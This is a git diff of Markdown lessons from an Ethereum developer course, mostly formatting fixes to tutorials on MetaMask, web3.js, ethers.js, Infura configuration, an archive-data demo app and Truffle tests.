Metamask, select "Import Account" in the Metamask accounts dropdown, and paste in the private key. -![](https://files.cdn.thinkific.com/file_uploads/205430/images/b32/51d/630/1595392067077.jpg)                ![](https://files.cdn.thinkific.com/file_uploads/205430/images/ba1/88e/3a1/1595392059006.jpg) +![export key from ganache ui](https://files.cdn.thinkific.com/file_uploads/205430/images/b32/51d/630/1595392067077.jpg) + +![import account into metamask](https://files.cdn.thinkific.com/file_uploads/205430/images/ba1/88e/3a1/1595392059006.jpg) Copy the public address of another address in your Ganache GUI. This is the address we'll send our transaction to! @@ -59,7 +61,7 @@ Copy the public address of another address in your Ganache GUI. This is the addr We need to connect our `web3` object to our MetaMask account. We do that by running the following commands: -``` +```javascript ethereum.request({ method: 'eth_requestAccounts' }) ``` @@ -67,11 +69,10 @@ This should pop-up a MetaMask window asking you to connect to our website, pleas Now that we have access to MetaMask, we can connect MetaMask to our `web3` object by running the following: -``` +```javascript web3 = new Web3(window.ethereum) ``` - - - ### Checking the account Once you are connected to Ganache GUI through Metamask, you can send transactions on the Ganache GUI network through the injected web3 object in the browser console. Typing `web3.currentProvider.selectedAddress` should return your current account address. -# ![](https://files.cdn.thinkific.com/file_uploads/205430/images/1bc/2e0/b89/1595392059501.jpg) +![current address in browser console](https://files.cdn.thinkific.com/file_uploads/205430/images/1bc/2e0/b89/1595392059501.jpg) ### Sending a Transaction Grab the second public address you copied earlier from your Ganache GUI. Use the following code snippet as your transaction information. -
var transaction = {
+```javascript
+var transaction = {
 from: web3.currentProvider.selectedAddress,
 to: "ENTER_SECOND_ADDRESS_HERE",
 value: web3.utils.toWei("0.001", "ether")
-}
+} +``` Th "to" account is the second account that is generated by the Quickstart in Ganache GUI. Now sending a transaction is as easy as entering `ethereum.request({ method: 'eth_sendTransaction', params: [transaction]})` in the console and Metamask will pop up, asking you to sign the transaction. If you get an error, you may need to reset the web3 provider. You can do that with this line of code `web3.setProvider(web3.currentProvider)`. -![](https://files.cdn.thinkific.com/file_uploads/205430/images/9b8/1ea/5f4/1595392060592.jpg) +![sign transaction on metamask](https://files.cdn.thinkific.com/file_uploads/205430/images/9b8/1ea/5f4/1595392060592.jpg) ### Nonce Mismatch Errors If you use Metamask accounts on different development blockchains, the nonce counts may get out of sync, in which case you will see an error when trying to execute a transaction. Metamask tracks the account nonce independently so this can get out of sync with the account nonce on the blockchain network that you are trying to interact with. -![](https://files.cdn.thinkific.com/file_uploads/205430/images/093/061/1f9/1595392063094.jpg) +![incorrect nonce in metamask](https://files.cdn.thinkific.com/file_uploads/205430/images/093/061/1f9/1595392063094.jpg) + +If this happens, it is a simple fix. Open Metamask and click the account icon on the upper right and select "Settings". In the "Advanced" area, select "Reset Account". -If this happens, it is a simple fix. Open Metamask and click the account icon on the upper right and select "Settings". In the "Advanced" area, select "Reset Account".  +![metamask settings](https://files.cdn.thinkific.com/file_uploads/205430/images/6e5/703/5bf/1595392061452.jpg) -![](https://files.cdn.thinkific.com/file_uploads/205430/images/6e5/703/5bf/1595392061452.jpg)                     ![](https://files.cdn.thinkific.com/file_uploads/205430/images/e7a/aaa/8c7/1595392061366.jpg) +![metamask advanced settings](https://files.cdn.thinkific.com/file_uploads/205430/images/e7a/aaa/8c7/1595392061366.jpg) If you were seeing this error, reset your account and try sending the transaction again. Metamask will get the correct account nonce from the blockchain network. When the transaction succeeds, you should see the new account balances reflected on Ganache GUI. -You can check the balance of these accounts with the line `let balance = await ethereum.request({ method: 'eth_getBalance', params:[web3.currentProvider.selectedAddress, "latest"]})`, this returns the account balance expressed in Wei in hexadecimal format and can be converted to ether like so `parseInt(balance) / 10**18`. +You can check the balance of these accounts with the line `let balance = await ethereum.request({ method: 'eth_getBalance', params:[web3.currentProvider.selectedAddress, "latest"]})`, this returns the account balance expressed in Wei in hexadecimal format and can be converted to ether like so `parseInt(balance) / 10**18`. -This is just a quick intro to sending transaction with web3.js v1.0\. You can learn more about how to use it via the docs and specifically about [how to connect to a contract via this section.](https://web3js.readthedocs.io/en/1.0/web3-eth-contract.html#web3-eth-contract)  +This is just a quick intro to sending transaction with web3.js v1.0. You can learn more about how to use it via the docs and specifically about [how to connect to a contract via this section.](https://web3js.readthedocs.io/en/1.0/web3-eth-contract.html#web3-eth-contract){target=\_blank} Keep in mind that this library is still in development, so if you run into any bugs, please report them! ## Ethers.js -Let's try connecting to a different library, [the ethers.js library.](https://docs.ethers.io/v5/) +Let's try connecting to a different library, [the ethers.js library.](https://docs.ethers.io/v5/){target=\_blank} -We'll have to follow the same steps to import it as above with Web3.js: +We'll have to follow the same steps to import it as above with Web3.js: -``` +```javascript var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'script.js'; @@ -138,20 +141,23 @@ document.head.appendChild(script); ### Connect to the Web 3 provider -In the browser console, you can connect ethers.js to the current network by accessing the provider given by Metamask, then set it is as the "signer". +In the browser console, you can connect ethers.js to the current network by accessing the provider given by Metamask, then set it is as the "signer". -
// A Web3Provider wraps a standard Web3 provider, which is
+```javascript
+// A Web3Provider wraps a standard Web3 provider, which is
 // what Metamask injects as window.ethereum into each page
 const provider = new ethers.providers.Web3Provider(window.ethereum)
 
 const provider = new ethers.providers.Web3Provider(web3.currentProvider);
 
 // There is only ever up to one account in MetaMask exposed
-const signer = provider.getSigner();
+const signer = provider.getSigner(); +``` -Now that Metamask is set as the signer, you can send a transaction. [Check the "signer" API of ethers.js to see how to send a transaction.](https://docs.ethers.io/v5/api/signer/#Signer) Something like "signer.sendTransaction(transaction)" should work, but what does a transaction look like in ethers.js? +Now that Metamask is set as the signer, you can send a transaction. [Check the "signer" API of ethers.js to see how to send a transaction](https://docs.ethers.io/v5/api/signer/#Signer){target=\_blank}. Something like `signer.sendTransaction(transaction)` should work, but what does a transaction look like in ethers.js? -
{
+```javascript
+{
     // Required unless deploying a contract (in which case omit)
     to: addressOrName,  // the target address or ENS name
 
@@ -164,24 +170,27 @@ Now that Metamask is set as the signer, you can send a transaction. [Check the "
     data: "0x",         // extra data for the transaction, or input for call
     value: 0,           // the amount (in wei) this transaction is sending
     chainId: 3          // the network ID; usually added by a signer
-}
+} +``` -[You can check the docs here.](https://docs.ethers.io/v5/api/providers/types/#providers-TransactionRequest) +[You can check the docs here](https://docs.ethers.io/v5/api/providers/types/#providers-TransactionRequest){target=\_blank}. For a simple ether transfer, you can get away with: -
var transaction = {
+```javascript
+var transaction = {
     to: "TO_ADDRESS_HERE",
     value: ethers.utils.parseEther("1")
-}
+} +``` -And to send it, enter  `signer.sendTransaction(transaction)` in the browser console. +And to send it, enter  `signer.sendTransaction(transaction)` in the browser console. -![](https://files.cdn.thinkific.com/file_uploads/205430/images/298/fe3/19b/1595392061279.jpg) +![sign transaction with metamask](https://files.cdn.thinkific.com/file_uploads/205430/images/298/fe3/19b/1595392061279.jpg) Confirm the transaction and verify that the account balances have changed in Ganache GUI. -[Please explore the Ether.js documentation to see all of the things that it can do.](https://docs.ethers.io/v5/api/) +[Please explore the Ether.js documentation to see all of the things that it can do](https://docs.ethers.io/v5/api/){target=\_blank}. ## Summary @@ -189,5 +198,6 @@ As a developer, you can use different JavaScript libraries to interact with Ethe We focus on using web3.js in this course, but introduce ethers.js because it is a popular alternative. ## Additional Material -- Article: Web3 vs ethers Part I and Part II by Academy's own Tom Hay and Robbie K. -- Course: Learn Ethers.js (Chainshot) Use Chainshot's excellent interactive interface to learn more about ethers.js + +- [Article: Web3 vs ethers Part I](https://blog.infura.io/ethereum-javascript-libraries-web3-js-vs-ethers-js-part-i){target=\_blank} and [Part II](https://blog.infura.io/ethereum-javascript-libraries-web3-js-vs-ethers-js-part-ii){target=\_blank} by Academy's own Tom Hay and Robbie K. +- [Course: Learn Ethers.js (Chainshot)](https://chainshot.com/learn/ethers){target=\_blank} Use Chainshot's excellent interactive interface to learn more about ethers.js diff --git a/docs/S04-developer-tooling/M2-web3-libraries/L2-web3-connect-to-contract/index.md b/docs/S04-developer-tooling/M2-web3-libraries/L2-web3-connect-to-contract/index.md index bd9d3a01..da06d7bd 100644 --- a/docs/S04-developer-tooling/M2-web3-libraries/L2-web3-connect-to-contract/index.md +++ b/docs/S04-developer-tooling/M2-web3-libraries/L2-web3-connect-to-contract/index.md @@ -1,6 +1,8 @@ +# Web3: connect to contract + This lesson is meant to directly follow the previous lesson. If you have not gone through that lesson yet, please go back and do that one first to avoid confusion and potential errors. -In this lesson we are going to use web3.js in the browser console again. This time to connect to a SimpleStorage.sol contract that is deployed on the Rinkeby testnet. You can view the code for the contract [on GitHub here](https://gist.github.com/ConsenSys-Academy/6d93a805ce0e90d8a793a4eb6e69b4c5) and on [etherscan here](https://rinkeby.etherscan.io/address/0x49bb098e781ed5c50d85e82d85cba1a6f03fd3e6#code). +In this lesson we are going to use web3.js in the browser console again. This time to connect to a SimpleStorage.sol contract that is deployed on the Rinkeby testnet. You can view the code for the contract [on GitHub here](https://gist.github.com/ConsenSys-Academy/6d93a805ce0e90d8a793a4eb6e69b4c5){target=\_blank} and on [etherscan here](https://rinkeby.etherscan.io/address/0x49bb098e781ed5c50d85e82d85cba1a6f03fd3e6#code){target=\_blank}. ## Connect to the network and load Web3.js @@ -8,10 +10,10 @@ First, make sure that Metamask is connected to the Rinkeby network. Next, we'll have to add the Web3.js library to this site. Since MetaMask does not inject it anymore, let's add it ourselves using the following steps (from last tutorial, but we need to redo it because we changed pages!): -1. Open your browser's developer console. [See this article for how to do it](https://support.happyfox.com/kb/article/882-accessing-the-browser-console-and-network-logs/){target=_blank} for major browsers in each major operating system. +1. Open your browser's developer console. [See this article for how to do it](https://support.happyfox.com/kb/article/882-accessing-the-browser-console-and-network-logs/){target=\_blank} for major browsers in each major operating system. 2. In the Console, add the following series of Javascript code. Press enter after each line of code: -``` +```javascript var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'script.js'; @@ -23,21 +25,24 @@ document.head.appendChild(script); Again, we need to connect our `web3` object to our MetaMask account. We do that by running the following commands: -``` +```javascript web3 = new Web3(window.ethereum) ``` ## Initialize the contract -Before we can interact with the contract, we need to initialize an instance of the SimpleStorage contract using web3.js. In this step we are going to provide web3.js with the ABI and the contract address, so it knows what functions are available at the address that we provide. The SimpleStorage.sol contract is deployed at address 0x49Bb098E781eD5C50D85E82d85cbA1a6F03FD3e6.    +Before we can interact with the contract, we need to initialize an instance of the SimpleStorage contract using web3.js. In this step we are going to provide web3.js with the ABI and the contract address, so it knows what functions are available at the address that we provide. The SimpleStorage.sol contract is deployed at address `0x49Bb098E781eD5C50D85E82d85cbA1a6F03FD3e6`. -Let's set the address in the console:  +Let's set the address in the console: -
const SSaddress = "0x49Bb098E781eD5C50D85E82d85cbA1a6F03FD3e6"
+```javascript +const SSaddress = "0x49Bb098E781eD5C50D85E82d85cbA1a6F03FD3e6" +``` Let's set the ABI in the console with: -
const ABI = [
+```javascript
+const ABI = [
         {
                 "constant": false,
                 "inputs": [
@@ -87,15 +92,16 @@ Let's set the ABI in the console with:
                 "stateMutability": "view",
                 "type": "function"
         }
-]
+] +``` To create a new contract instance we run `const simpleStorage = new web3.eth.Contract(ABI, SSaddress)`. We can see that the simpleStorage contract object now has events, methods and an address that we provided with the ABI and contract address. We just need to set the web3 provider for the contract, which we can do with `simpleStorage.setProvider(web3.givenProvider)`. Now we can use this contract object to interact with the deployed contract. -![](https://files.cdn.thinkific.com/file_uploads/205430/images/c20/2ce/faf/1595392171288.jpg) +![simpleStorage object in browser console](https://files.cdn.thinkific.com/file_uploads/205430/images/c20/2ce/faf/1595392171288.jpg) -You will need some Rinkeby ETH to pay for gas to interact with the contract. You can get some via this link: [https://www.rinkeby.io/#faucet](https://www.rinkeby.io/#faucet). +You will need some Rinkeby ETH to pay for gas to interact with the contract. You can get some via this link: [https://www.rinkeby.io/#faucet](https://www.rinkeby.io/#faucet){target=\_blank}. ## Read the contract state @@ -105,9 +111,9 @@ Let's read the current value of the storedData. Since our contract object is sav We update the contract by sending it a transaction to the "set()" function with the desired parameter. This action does cost gas, since we need to update the state of the contract on all of the network nodes. Feel free to update the value to whatever you want. `simpleStorage.methods.set(SET_YOUR_NEW_NUMBER_HERE).send({from: web3.givenProvider.selectedAddress})` -Running this code should trigger Metamask to ask you to sign a transaction.  +Running this code should trigger Metamask to ask you to sign a transaction. -Once the transaction is mined, you can check for the transaction with simpleStorage.methods.get().call().then(console.log) or you can check the contract on a Rinkeby block explorer [like the one here.](https://rinkeby.etherscan.io/address/0x49bb098e781ed5c50d85e82d85cba1a6f03fd3e6){target=_blank} +Once the transaction is mined, you can check for the transaction with simpleStorage.methods.get().call().then(console.log) or you can check the contract on a Rinkeby block explorer [like the one here.](https://rinkeby.etherscan.io/address/0x49bb098e781ed5c50d85e82d85cba1a6f03fd3e6){target=\_blank} ## Watch for events @@ -115,10 +121,10 @@ You can easily subscribe to events with simpleStorage. Notice we have a "storage To listen for that event, run `simpleStorage.events.storageUpdate(function(error, event){console.log(event)})` -[Here is a link to the relevant web3.js documentation for subscribing to events.](https://web3js.readthedocs.io/en/v1.2.11/web3-eth-contract.html#events){target=_blank} +[Here is a link to the relevant web3.js documentation for subscribing to events.](https://web3js.readthedocs.io/en/v1.2.11/web3-eth-contract.html#events){target=\_blank} -To trigger this event, you will have to call the "set()" function on the contract again. Once the update transaction is mined, the event will fire. This is what it looks like in the browser console. +To trigger this event, you will have to call the `set()` function on the contract again. Once the update transaction is mined, the event will fire. This is what it looks like in the browser console. -![](https://files.cdn.thinkific.com/file_uploads/205430/images/964/e04/26d/1595392170831.jpg) +![set() output in browser console](https://files.cdn.thinkific.com/file_uploads/205430/images/964/e04/26d/1595392170831.jpg) This should give you a good overview of how to connect to a contract and interact with it using web3.js diff --git a/docs/S04-developer-tooling/M3-infura/L1/index.md b/docs/S04-developer-tooling/M3-infura/L1/index.md index 4b2800b4..605cd2c1 100644 --- a/docs/S04-developer-tooling/M3-infura/L1/index.md +++ b/docs/S04-developer-tooling/M3-infura/L1/index.md @@ -1,16 +1,18 @@ +# Infura + ![Infura logo](../../../img/S04/infura-logo.png) In our section on "Development Workflow" and "Users in the Mental Model," we described our interactions with the Ethereum network going through a network gateway. In the "Ethereum Basics" of the course, we talked about Ethereum clients, nodes, and how to interact with the network you need to run a full node. -However, for developers just starting on Ethereum or users who don't have easy access (or knowledge) of an Ethereum node, you can use an Ethereum gateway service called Infura. +However, for developers just starting on Ethereum or users who don't have easy access (or knowledge) of an Ethereum node, you can use an Ethereum gateway service called [Infura](https://infura.io){target=\_blank}. Infura provides a simple API access point for not only the Ethereum mainnet and all public testnets, but also for IPFS, the Ethereum 2.0 Beacon Chain, Filecoin, Optimism, Arbitrum and Polygon. Incorporating Infura into your workflow will make deploying much easier. As your project grows, you can absolutely consider other options, but it's a nice, easy onramp to development. -Follow the steps below to sign up for Infura (there are also great step-by-step instructions on Infura's website here): +Follow the steps below to sign up for Infura (there are also great step-by-step instructions on Infura's website [here](https://blog.infura.io/getting-started-with-infura-28e41844cc89){target=\_blank}: ## Register -First thing, register for a free account on Infura. For smaller development projects (or even medium-sized ones), Infura's free tier is more than capable of handling your requests. Coogan is currently running an Eth2 validator client on Infura's free tier (you'll see it in the screenshots below!) +First thing, register for a free account on [Infura](https://infura.io){target=\_blank}. For smaller development projects (or even medium-sized ones), Infura's free tier is more than capable of handling your requests. Coogan is currently running an Eth2 validator client on Infura's free tier (you'll see it in the screenshots below!) ## Setting Up Your First Project @@ -24,24 +26,24 @@ Next, click “Create New Project” in upper right hand corner: ![Selecting Create New Project on Infura](../../../img/S04/infura-2.png) -Name your project and go to “Settings.” There, you'll be able to access the credentials you'll use in your local environment (either Truffle or some other framework) to help make deployment easy. Again, these are your personal, sensitive credentials so be sure to store them in a .env file that you add to your .gitignore doc! Read more about that here. +Name your project and go to “Settings.” There, you'll be able to access the credentials you'll use in your local environment (either Truffle or some other framework) to help make deployment easy. Again, these are your personal, sensitive credentials so be sure to store them in a .env file that you add to your `.gitignore` doc! Read more about that [here](https://consensys.net/blog/developers/how-to-avoid-uploading-your-private-key-to-github-approaches-to-prevent-making-your-secrets-public){target=\_blank}. A `.env` file for our Infura credentials will look something like: -``` +```bash MNEMONIC="Your MNEMONICs" // A wallet with enough ETH INFURA_URL="Your Infura URL with API key" ``` -source +[source](https://ethereum.stackexchange.com/questions/96929/infura-io-secret-configuration-in-hdwalletprovider-truffle-config-js){target=\_blank} ## Incorporating Infura Into Your Development Environment Now let's see how we take our Infura credentials and plug them into a development framework like Truffle. For this, we're going to dive deeper into our `truffle-config.js` file -As you might have gathered by now, the Truffle configuration file (`truffle-config.js`) is the backbone of a Truffle-based project. Thus far we’ve only seen it used to store details of the different networks we’re targeting (e.g. local, testnet, mainet, etc), but it’s actually used for a lot more, such as network configuration. +As you might have gathered by now, the Truffle configuration file (`truffle-config.js`) is the backbone of a Truffle-based project. Thus far we’ve only seen it used to store details of the different networks we’re targeting (e.g. local, testnet, mainnet, etc), but it’s actually used for a lot more, such as network configuration. -To illustrate this, let's look at the networks section of our `truffle-config.js` from our SimpleStorage example we've been working on in previous lessons. Here's a sample `truffle-config.js` file that targets the Ganache endpoint we setup earlier: +To illustrate this, let's look at the `networks` section of our `truffle-config.js` from our SimpleStorage example we've been working on in previous lessons. Here's a sample `truffle-config.js` file that targets the Ganache endpoint we setup earlier: ```javascript module.exports = { @@ -49,39 +51,42 @@ module.exports = { development: { host: "127.0.0.1", port: 8545, - network_id: "*" // Match any network id - } + network_id: "*", // Match any network id + }, }, compilers: { solc: { - version: "^0.8.0" - } - } + version: "^0.8.0", + }, + }, }; ``` When we run `truffle init` earlier, though, the `truffle-config.js` contains a ton of helpful material that's been commented out. For example, here's a section under `networks`: ```javascript - // Useful for deploying to a public network. - // NB: It's important to wrap the provider as a function. - // ropsten: { - // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), - // network_id: 3, // Ropsten's id - // gas: 5500000, // Ropsten has a lower block limit than mainnet - // confirmations: 2, // # of confs to wait between deployments. (default: 0) - // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) - // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) - // }, +// Useful for deploying to a public network. +// NB: It's important to wrap the provider as a function. +// ropsten: { +// provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), +// network_id: 3, // Ropsten's id +// gas: 5500000, // Ropsten has a lower block limit than mainnet +// confirmations: 2, // # of confs to wait between deployments. (default: 0) +// timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) +// skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) +// }, ``` -To activate this, all we have to do is comment the code back in (`⌘ /` in VSCode) and substitute in the credentials we got from Infura. Note that you need to change the `YOUR-PROJECT-ID` and well as whatever subdomain network you'd like to work from. Be sure as well to change the `network_id` to the appropriate one for your network. +To activate this, all we have to do is comment the code back in (`⌘ /` in VSCode) and substitute in the credentials we got from Infura. Note that you need to change the `YOUR-PROJECT-ID` and well as whatever subdomain network you'd like to work from. Be sure as well to change the `network_id` to [the appropriate one for your network](https://besu.hyperledger.org/en/stable/Concepts/NetworkID-And-ChainID){target=\_blank}. Install hdwallet-provider + ```bash npm install @truffle/hdwallet-provider ``` -and dotenv to handle our .env file + +and dotenv to handle our `.env` file + ```bash npm install dotenv ``` @@ -89,13 +94,13 @@ npm install dotenv To grab our Infura credentials safely from our `.env` file, you'll include this at the top of `truffle-config.js` (HDWallet is provided, we just need to comment it out): ```javascript -const HDWalletProvider = require('@truffle/hdwallet-provider'); -const dotenv = require('dotenv'); +const HDWalletProvider = require("@truffle/hdwallet-provider"); +const dotenv = require("dotenv"); dotenv.config(); const mnemonic = process.env.MNEMONIC; ``` -(For reference, in the above snippet we're also using Truffle’s HDWalletProvider library enabling us to use a custom mnemonic as part of the deployment.) +(For reference, in the above snippet we're also using Truffle’s [HDWalletProvider library](https://github.com/trufflesuite/truffle/tree/develop/packages/hdwallet-provider){target=\_blank} enabling us to use a custom mnemonic as part of the deployment.) We can change the name of our testnet to any one we'd like. Here's what it would look like for Rinkeby: @@ -110,7 +115,7 @@ We can change the name of our testnet to any one we'd like. Here's what it would To migrate SimpleStorage to Rinkeby, we run the following command: ```bash -$ truffle migrate --network rinkeby +truffle migrate --network rinkeby ``` That's it! If you have enough Rinkeby test Eth in the account associated with your mnemonic phrase, your contract is now deployed to a public testnet using Infura! diff --git a/docs/S04-developer-tooling/M3-infura/L2/index.md b/docs/S04-developer-tooling/M3-infura/L2/index.md index 3889554d..a9e9e0d6 100644 --- a/docs/S04-developer-tooling/M3-infura/L2/index.md +++ b/docs/S04-developer-tooling/M3-infura/L2/index.md @@ -1,9 +1,9 @@ -## Using Infura to Access Ethereum Archive Data (Tutorial) +# Using Infura to Access Ethereum Archive Data (Tutorial) This is a full-stack application that provides a reference implementation and proof-of-concept for various use cases that are enabled by access to Ethereum archive data. -Check out the repo here: https://github.com/anataliocs/Archive-Data-Playground +Check out the repo [here](https://github.com/anataliocs/Archive-Data-Playground){target=\_blank}: Technologies Used: @@ -14,27 +14,23 @@ Technologies Used: - React/Redux - node/npm - -### Setup and Configuration +## Setup and Configuration The project is built with a Java/Spring Boot backend and a React front-end. You will need to install the following dependencies locally to run this project: -- [An Infura account](https://infura.io/register) +- [An Infura account](https://infura.io/register){target=\_blank} - Git - Node / npm - Java 11 - An IDE - **Get your API endpoint URL and Project ID** - -Head to https://infura.io/ and go to your project settings page: +Head to [https://infura.io/](https://infura.io/){target=\_blank} and go to your project settings page: ![Infura Dashboard](https://raw.githubusercontent.com/anataliocs/Archive-Data-Playground/main/static/Infura-ui.jpeg) - Now let’s set up our externalized configuration so that we can use our project ID without exposing those details on Github. The Spring Boot app uses Spring Dev Tools when running locally so we can use a `.spring-boot-devtools.properties` file for configuration properties. @@ -74,7 +70,7 @@ This command will start up the Spring Boot backend in dev mode and also the Reac After the application starts up you should see the following: -``` +```bash 2022-05-31 11:21:45.262 INFO 83493 --- [ restartedMain] i.i.a.ArchiveDataPlaygroundApp : Started ArchiveDataPlaygroundApp in 3.709 seconds (JVM running for 3.924) 2022-05-31 11:21:45.264 INFO 83493 --- [ restartedMain] i.i.a.ArchiveDataPlaygroundApp : ---------------------------------------------------------- @@ -86,31 +82,30 @@ After the application starts up you should see the following: <============-> 92% EXECUTING [2m 15s] ``` -Navigate to the local server in a browser at http://localhost:8080/ +Navigate to the local server in a browser at [http://localhost:8080](http://localhost:8080){target=\_blank} + ![App UI](https://raw.githubusercontent.com/anataliocs/Archive-Data-Playground/main/static/app-UI-1.png) On the right-hand corner click account -> Sign-in and use the canned login and password “admin/admin” ![App UI](https://raw.githubusercontent.com/anataliocs/Archive-Data-Playground/main/static/app-ui-2.png) -You will then have access to the application. The login flow comes from the base Jhipster project scaffolding tool that +You will then have access to the application. The login flow comes from the base Jhipster project scaffolding tool that was used to create the basic project skeleton. You can directly query Infura JSON-RPC endpoints if you navigate to -http://localhost:8080/admin/docs or click Administration -> API +[http://localhost:8080/admin/docs](http://localhost:8080/admin/docs){target=\_blank} or click Administration -> API -This will bring you to the Swagger UI interface where you can call JSON-RPC endpoints such as getting blocks older than -128 blocks which are available via Archive nodes with hydrated transactions. These calls can then be used in Block Explorer style -applications or other use cases. +This will bring you to the Swagger UI interface where you can call JSON-RPC endpoints such as getting blocks older than 128 blocks which are available via Archive nodes with hydrated transactions. These calls can then be used in Block Explorer style applications or other use cases. ![Swagger UI](https://raw.githubusercontent.com/anataliocs/Archive-Data-Playground/main/static/swagger-ui-1.png) - Some specific blocks of code that help enable this functionality include: -https://github.com/anataliocs/Archive-Data-Playground/blob/main/src/main/java/io/infura/archivedataplayground/config/InfuraConfig.java +[https://github.com/anataliocs/Archive-Data-Playground/blob/main/src/main/java/io/infura/archivedataplayground/config/InfuraConfig.java](https://github.com/anataliocs/Archive-Data-Playground/blob/main/src/main/java/io/infura/archivedataplayground/config/InfuraConfig.java){target=\_blank} **InfuraConfig.java** -``` + +```java @Configuration public class InfuraConfig { @@ -125,13 +120,14 @@ This code provides a “RestTemplate” singleton which can be injected in class The `dto.infura` package contains POJO objects representing request and response JSONs used in Infura RPC calls. -https://github.com/anataliocs/Archive-Data-Playground/tree/main/src/main/java/io/infura/archivedataplayground/service/dto/infura +[https://github.com/anataliocs/Archive-Data-Playground/tree/main/src/main/java/io/infura/archivedataplayground/service/dto/infura](https://github.com/anataliocs/Archive-Data-Playground/tree/main/src/main/java/io/infura/archivedataplayground/service/dto/infura){target=\_blank} For instance, the following 3 DTO objects contain the block and hydrated transactions response from an `eth_getBlockByNumber` JSON-RPC call which can be used to get archive blocks from Ethereum’s history. **GetBlockByNumberResponse.java** -``` + +```java public class GetBlockByNumberResponse { private String jsonrpc; private String id; @@ -140,10 +136,12 @@ public class GetBlockByNumberResponse { // Getters and setters } ``` + Infura POJO response to de-serialize JSON **GetBlockByNumberResult.java** -``` + +```java public class GetBlockByNumberResult { private String difficulty; private String extraData; @@ -171,7 +169,8 @@ public class GetBlockByNumberResult { Infura POJO response to de-serialize JSON **Transaction.java** -``` + +```java public class Transaction { private String blockHash; @@ -194,10 +193,10 @@ public class Transaction { The included “RestTemplate” will automatically marshal/unmarshal responses into these Object types. -You could also consider using https://github.com/web3j/web3j to help facilitate Infura JSON–RPC calls made using the Spring Boot +You could also consider using [web3.js](https://github.com/web3j/web3j){target=\_blank} to help facilitate Infura JSON–RPC calls made using the Spring Boot backend but this is a more heavyweight solution that contains a lot of stuff you might not need. -#### The Front-end +### The Front-end One feature that archive data enables is Block Exploration. @@ -206,25 +205,29 @@ One feature that archive data enables is Block Exploration. This block explorer displays information about about famous blocks in Ethereum history such as: Frontier + - Block height: 0 - Genesis block - Jul 30 2015 Frontier Thawing + - Block height: 200000 - Ethereum price: $1.24 USD - Sep 07 2015 Homestead + - Block height: 1,150,000 - Ethereum price: $12.50 USD - Mar 14 2016 -The front-end is implemented using React and Typescript. This form allows you to submit a block number and look up that block’s data +The front-end is implemented using React and Typescript. This form allows you to submit a block number and look up that block’s data and hydrated transactions. **infura.tsx** -``` + +```tsx 


Explore historical Ethereum Data

@@ -249,20 +252,17 @@ and hydrated transactions. 
 ``` + Submitting the form dispatches a request to the Spring Boot API and uses a reducer to parse the JSON returned from the backend and stores that state in Redux. **infura.reducer.tsx** -``` -
 - +```tsx export const getInfura = createAsyncThunk('infura/get_json', async (blocknumber: string) => axios.get(`api/infura/${blocknumber}`), { serializeError: serializeAxiosError, }); - -
 ``` -This is only a simple example of functionality that access to archive data enables. Using this basic framework, you could create -Ethereum block analytics, more detailed Block Explorers, back testing for trading algorithms and Blockchain forensics applications! \ No newline at end of file +This is only a simple example of functionality that access to archive data enables. Using this basic framework, you could create +Ethereum block analytics, more detailed Block Explorers, back testing for trading algorithms and Blockchain forensics applications! diff --git a/docs/S04-developer-tooling/M4-truffle-deep-dive/L1-truffle-tests/index.md b/docs/S04-developer-tooling/M4-truffle-deep-dive/L1-truffle-tests/index.md index 3c909674..46bd2426 100644 --- a/docs/S04-developer-tooling/M4-truffle-deep-dive/L1-truffle-tests/index.md +++ b/docs/S04-developer-tooling/M4-truffle-deep-dive/L1-truffle-tests/index.md @@ -1,44 +1,51 @@ # Testing, 1, 2, 3 + A comprehensive suite of tests adds robustness to your code as it evolves, and Truffle provides an automated testing framework that makes adding this to your project a breeze. In the following examples, we’ll be writing our tests in JavaScript, although Truffle also supports Solidity based tests too. Check out the following for when you might use one over the other. -All your tests live in a dedicated tests directory, which is automatically created if you used truffle init to initialize your project, although you can of course create one after the fact. +All your tests live in a dedicated tests directory, which is automatically created if you used truffle init to initialize your project, although you can of course create one after the fact. Go back to the SimpleStorage file directory we created in the previous lesson, “Intro to Truffle -- Part II”. To create your first test for SimpleStorage run the following: - truffle create test SimpleStorage +```bash +truffle create test SimpleStorage +``` -As with the earlier create command this creates a simple scaffold which includes a reference to the actual underlying contract artifact. +As with the earlier create command this creates a simple scaffold which includes a reference to the actual underlying contract artifact. Following this you can simply run the following to run the test suite. - truffle test +```bash +truffle test +``` If there is no `development` network specified in `truffle-config.js`, the testing framework will temporarily spin up it’s own Ganache with which to run the tests against (which it subsequently tears down). This ensures it doesn’t pollute any existing ganache instances you might have running. Let’s try running it again with a more meaningful test. Feel free to copy and paste the following into your own test and try running truffle test again. - contract("SimpleStorage", function (/* accounts */) { - it("should assert true", async function () { - const simpleStorage = await SimpleStorage.deployed(); - await simpleStorage.set(42); - - return assert.equal( - await simpleStorage.get(), - 42 - ); - }); - }); +```javascript +contract("SimpleStorage", function (/* accounts */) { + it("should assert true", async function () { + const simpleStorage = await SimpleStorage.deployed(); + await simpleStorage.set(42); +return assert.equal( + await simpleStorage.get(), + 42 + ); + }); +}); +``` If all is going well, everything should pass again and you’ll see similar output to the following: - Contract: SimpleStorage - ✓ should assert true (132ms) - 1 passing (167ms) - +```bash +Contract: SimpleStorage +✓ should assert true (132ms) +1 passing (167ms) +``` As can be inferred from the above example, tests are typically written using the AAA (Arrange, Act, Assert) pattern. In addition, you can access the accounts array and access to the web3 library. -More detail can be found on tests [here](https://www.trufflesuite.com/docs/truffle/testing/testing-your-contracts). \ No newline at end of file +More detail can be found on tests [here](https://www.trufflesuite.com/docs/truffle/testing/testing-your-contracts){target=\_blank}. diff --git a/docs/S04-developer-tooling/M4-truffle-deep-dive/L2-debug-config-forking/index.md b/docs/S04-developer-tooling/M4-truffle-deep-dive/L2-debug-config-forking/index.md index 5de0e475..072d4554 100644 --- a/docs/S04-developer-tooling/M4-truffle-deep-dive/L2-debug-config-forking/index.md +++ b/docs/S04-developer-tooling/M4-truffle-deep-dive/L2-debug-config-forking/index.md @@ -1,10 +1,11 @@ -## Squashing Bugs with the Debugger - +# Squashing Bugs with the 